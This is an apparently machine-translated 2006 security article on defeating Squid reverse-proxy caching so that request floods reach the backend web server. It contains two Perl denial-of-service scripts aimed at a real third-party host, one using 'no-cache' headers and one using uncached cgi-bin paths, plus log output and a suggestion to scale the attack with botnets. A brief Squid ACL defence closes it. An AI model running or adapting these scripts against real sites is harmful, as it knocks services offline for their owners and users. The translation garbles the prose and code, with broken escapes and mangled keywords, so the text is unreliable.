Attack using HTTP commands-Cache

Attack using HTTP commands-Cache

Created on:
Article attributes: original
Article submission: coolc (eanalysis_at_gmail.com)
Attack using HTTP commands
-Cache
Coolc
Email: eanalysis at gmail.com
Homepage: blog.xfocus.net/coolc
2006-6-7

Preface
Coolc has long planned to write this article. In fact, the article is more technical than non-technical. In terms of content, it is not very harmful to actual penetration attacks, however, this content reflects a way of thinking, that is, to further explore vulnerabilities and initiate possible attacks from the idea of protocol instructions. I think this is the most valuable part of this article. I also hope that ghost works will bring some inspiration to my friends who are also engaged in network security. You are also welcome to contact me.

Content
Technical Background
As web technologies become more and more widely used in our lives, web application architecture designers and developers have to deal with such a problem, that is, the increasing Web Access volume and load, technologies related to performance improvement have emerged, such as DNS round robin, Server Load balancer, and cache technologies. If you are interested, you may wish to capture packets for large websites. You can find that many websites use squid reverse proxy to provide high-speed Web response through Squid cache.

Attack principles
The cache mechanism not only improves the server processing performance to a great extent, but also greatly improves the capability of web service providers to cope with get flood. Common cache architectures include:

From the above architecture, we can see that most of users' access to the website is shared by the distributed cache servers, because of the number of cache servers and the high processing throughput performance of the cache, even if a get flood attack occurs, this mechanism can well digest the attack load, and even if a single cache host crashes, it will not affect the overall web service.

Through architecture analysis, we can assume that an attacker can pass through the cache and directly transfer the load pressure to the server that provides the HTTP service in the background, paralyzing this machine attack, the front-end server will also be affected because the cache cannot be updated, achieving the DoS effect. As shown in:

Is there a way to achieve the above results? The answer is yes, that is, the attack is achieved through HTTP instructions.
The HTTP protocol (V1.1 and V1.0) provides cache processing fields, in which the field cache-control (Pragma in V1.0). When the value of this field is no-cache, most cache software will not respond to the request, but directly pass the request to the backend server. With this command mechanism, we can achieve the attack effect we want.

Effect verification
To verify this theoretical form of attack, coolc sets up a simple application environment for verification. The architecture of the entire experiment environment is as follows:

Normal access
Under normal circumstances, squid will process all requests in the memory cache. It can be found that the pressure of most requests cannot reach Apache, but it is directly digested by squid. As shown below, only one of the 500 requests reaches Apache, and this access is only caused by squid to pull the initial file content to Apache.
Root @ coolc :~ Squid-2.5.STABLE12 # Cat apache-host.example.com-access_log | WC-l
1
Root @ coolc :~ /Squid-2.5.STABLE12 # Cat squid_access.log | awk '{print $4'} | uniq-C
499 tcp_mem_hit/200

Command Bypass
When squid processes the access, if it finds a special flag, it will forward the request directly to the backend. In the access log, the colleague will remember it as a tcp_client_refresh_miss. Through the following experiment, I sent 500 HTTP requests with special flag, directly crossed the cache, and loaded the pressure directly to the background. The following results verify the effect.

Use Pragma: No-cache to bypass
Root @ coolc :~ Squid-2.5.STABLE12 # Cat apache-host.example.com-access_log | WC-l
500
Root @ coolc :~ /Squid-2.5.STABLE12 # Cat squid_access.log | awk '{print $4'} | uniq-C
500 tcp_client_refresh_miss/200

Use cache-control: No-cache to bypass
Root @ coolc :~ Squid-2.5.STABLE12 # Cat apache-host.example.com-access_log | WC-l
500
Root @ coolc :~ /Squid-2.5.STABLE12 # Cat squid_access.log | awk '{print $4'} | uniq-C
500 tcp_client_refresh_miss/200

DEMO code:
Use IO: socket;
# $ Host = shift (@ argv );
$ I = 1;
While ($ I <500 ){
$ I ++;
Print "/N $ I/N ";
$ Remote = IO: Socket: iNet-> New (PROTO => "TCP ",
Peerport => "80 ",
# Peeraddr => "blog.xfocus.net"
Peeraddr => "test.qq.com"
) | Die (print "Cant't connet $! ");
$ Remote-> autoflush (1 );
Print $ remote "Get/index.html HTTP/1.1/R/naccept: image/GIF image/X-xbitmap, image/JPEG, application/X-Shockwave-flash/R/nreferer: http://www.google.com/r/naccept:-language: ZH-CN/R/nuser-AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv1 ;. net CLR 1.1.4322 ;. net CLR 2.0.50727; infopath.1)/R/ncache-control: No-Cache/R/nhost: test.qq.com/n/n ";
# Print <$ remote>;
Close $ remote;
# Sleep 1;
}

Practical Application
Configuration problems
In actual application attacks, the network administrator may use the squid ACL method to block such attacks. However, the attack types and methods in the actual environment are more diverse, for example, the default configuration of squid can be used in a smart manner and concealed.

In this scenario, a network administrator performs no-Cache filtering on the squid through ACL, so that the no-cahce command cannot be passed through, but it is also vulnerable to cache denial-of-service attacks.

Attack principles
When the squid processing method returns 404 and 403, it reduces the burden on the background web system through cache processing.
The program uses the get formula to upload times of files that do not exist, including index.html ."
Query squid logs, and cache the vast majority of requests.
Root @ coolc :~ /Squid-2.5.STABLE12 # Cat squid_access.log | WC-l
499
Root @ coolc :~ /Squid-2.5.STABLE12 # Cat squid_access.log | awk '{print $4'} | uniq-C
499 tcp_negative_hit/404
Root @ coolc :~ Squid-2.5.STABLE12 # Cat apache-access_log | WC-l
0

In fact, the pressure uploaded to Apache is 0, that is, almost no pressure. Tcp_negative_hit solves most of the load, resulting in no attack pressure on the backend web server.
From the squid configuration file, we can see that squid also processes the returned Special errors and caches them.

# Tag: negative_ttl time-Units
# Time-to-live (TTL) for failed requests. Certain types
# Failures (such as "connection refused" and "404 Not Found") are
# Negatively-cached for a retriable Amount of time.
# Default is 5 minutes. Note that this is different from
# Negative caching of DNS lookups.

Is there a way to bypass the cache mechanism and ACL restrictions to apply a 404-level pressure to the server? The answer is yes, that is, access the files in the cgi-bin directory.

By executing the attack code, we also implemented attacks on the background host and penetrated the cache.
Root @ coolc :~ /Squid-2.5.STABLE12 # Cat squid_access.log | awk '{print $4'} | uniq-C
499 tcp_miss/404

Root @ coolc :~ Squid-2.5.STABLE12 # Cat apache-access_log | WC-l
499
The following traces can be found in logs.
172.16.10.1--[08/APR/2006: 16: 33: 50-0800] "Get/cgi-bin/index.html 1 HTTP/1.0" 404 298
172.16.10.1--[08/APR/2006: 16: 33: 50-0800] "Get/cgi-bin/index.html 1 HTTP/1.0" 404 298
172.16.10.1--[08/APR/2006: 16: 33: 50-0800] "Get/cgi-bin/index.html 1 HTTP/1.0" 404 298
172.16.10.1--[08/APR/2006: 16: 33: 50-0800] "Get/cgi-bin/index.html 1 HTTP/1.0" 404 298
In fact, this is because the cgi-bin directory is specially processed in the default configuration, which causes the cache restriction to be released.
# Tag: hierarchy_stoplist
# A list of words which, if found in a URL, cause the object
# Be handled directly by this cache. In other words, use this
# To not query neighbor caches for certain objects. You may
# List this option multiple times. Note: never_direct overrides
# This option.
# We recommend you to use at least the following line.
Hierarchy_stoplist cgi-bin?
# Tag: no_cache
# A list of ACL elements which, if matched, cause the request
# Not be satisfied from the cache and the reply to not be cached.
# In other words, use this to force certain objects to never be cached.
#
# You must use the word 'deny' to indicate the ACL names which shold
# Not be cached.
#
# We recommend you to use the following two lines.
ACL query urlpath_regex cgi-bin /?
No_cache deny Query

Attack code:
Use IO: socket;
# $ Host = shift (@ argv );
$ I = 1;
While ($ I <500 ){
$ I ++;
Print "/N $ I/N ";
$ Remote = IO: Socket: iNet-> New (PROTO => "TCP ",
Peerport => "80 ",
# Peeraddr => "blog.xfocus.net"
Peeraddr => "test.qq.com"
) | Die (print "Cant't connet $! ");
$ Remote-> autoflush (1 );
Print $ remote "Get/cgi-bin/index.html 1 HTTP/1.1/R/naccept: image/GIF image/X-xbitmap, image/JPEG, application/X-Shockwave-flash/R/nreferer: http://www.google.com/r/naccept:-language: ZH-CN/R/nuser-AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv1 ;. net CLR 1.1.4322 ;. net CLR 2.0.50727; infopath.1)/R/nhost: test.qq.com/n/n ";
# Print <$ remote>;
Close $ remote;
# Sleep 1;
}

Extended thinking
Of course, the current attack method is only a theoretical attack, such as attacking a single thread of code, and attacking IP addresses and features are obvious. It is easy to be identified and used for ACL filtering. However, when we expand our thinking, if we use a large number of botnet or proxies to change the accessed file and HTTP instruction content for attacks, the attacks will be more powerful, and difficult to identify. At the same time, because the attack is directly loaded into the background, the host resource advantages of the Defender are also greatly reduced.

Defense methods
The simplest and most effective method is to disable the no-Cache command by loading the ACL through the squid configuration. However, this method is usually easier to implement only on servers on static pages.

For example:
ACL localservers DST 192.168.8.0/24
No_cache deny localservers
Summary
In fact, HTTP command attacks are not only the same as HTTP protocol extension commands. For this attack, although coolc hasn't seen any descriptions yet, however, I personally feel that these ideas have already appeared in underground organizations, and even mature tools have been available. coolc is all about here, I hope that colleagues interested in network security can contact me to discuss the research.